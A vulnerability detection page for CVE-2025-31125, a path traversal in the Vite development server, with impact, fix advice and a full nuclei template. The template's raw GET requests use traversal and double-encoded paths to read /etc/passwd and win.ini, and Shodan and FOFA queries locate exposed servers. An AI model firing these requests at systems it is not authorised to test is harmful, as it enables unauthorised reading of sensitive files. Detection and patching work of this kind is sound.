Vite Development Server - Path Traversal

Exploited in the wild. Listed by CISA on 2026-01-22; known to be used by ransomware.

mediumseverity

5.3CVSS score

74.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Path traversal vulnerability in Vite development server's @fs endpoint allows attackers to access files outside the intended directory. When exposed to the network, attackers can exploit this via crafted URLs to access sensitive system files.

Impact

Attackers can exploit path traversal in the @fs endpoint to access files outside the intended directory when the Vite dev server is exposed to the network, potentially reading sensitive system files.

Fix

Upgrade to the patched version or avoid exposing the Vite development server to the network (do not use --host flag or configure server.host); if upgrading is not immediately possible, implement access restrictions to the Vite development server

How to confirm it

Send: GET /@fs/C:/windows/win.ini?import&?inline=1.wasm?init ; GET /@fs/etc/passwd?import&?inline=1.wasm?init ; GET /@fs/../../../../../../../etc/passwd?import&?inline=1.wasm?init ; GET /@fs/%252e%252e/%252e%252e/%252e%252e/etc/passwd?import&?inline=1.wasm?init
Positive when: contains "data:application/octet-stream" and "base64" and "import init" AND contains in header "text/javascript"

Run it with nuclei: nuclei -id CVE-2025-31125 -u <target>

The full check

id: CVE-2025-31125

info:
  name: Vite Development Server - Path Traversal
  author: martian,ritikchaddha,v2htw
  severity: medium
  description: |
    Path traversal vulnerability in Vite development server's @fs endpoint allows attackers to access files outside the intended directory. When exposed to the network, attackers can exploit this via crafted URLs to access sensitive system files.
  impact: |
    Attackers can exploit path traversal in the @fs endpoint to access files outside the intended directory when the Vite dev server is exposed to the network, potentially reading sensitive system files.
  remediation: |
    Upgrade to the patched version or avoid exposing the Vite development server to the network (do not use --host flag or configure server.host); if upgrading is not immediately possible, implement access restrictions to the Vite development server
  reference:
    - https://github.com/vitejs/vite/issues/8498
    - https://github.com/vitejs/vite/pull/8804
    - https://github.com/vitejs/vite/pull/8979
    - https://nvd.nist.gov/vuln/detail/CVE-2025-31125
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-31125
    epss-score: 0.74939
    epss-percentile: 0.99509
    cwe-id: CWE-200
  metadata:
    verified: true
    max-requests: 4
    shodan-query: title:"Vite App"
    fofa-query: title="Vite App"
  tags: cve,cve2025,vite,lfi,vkev,vuln,kev

http:
  - raw:
      - |
        GET /@fs/C:/windows/win.ini?import&?inline=1.wasm?init HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /@fs/etc/passwd?import&?inline=1.wasm?init HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /@fs/../../../../../../../etc/passwd?import&?inline=1.wasm?init HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /@fs/%252e%252e/%252e%252e/%252e%252e/etc/passwd?import&?inline=1.wasm?init HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "data:application/octet-stream"
          - "base64"
          - "import init"
        condition: and

      - type: word
        part: header
        words:
          - "text/javascript"

References

Use this check only on systems you are authorised to test. Where the data comes from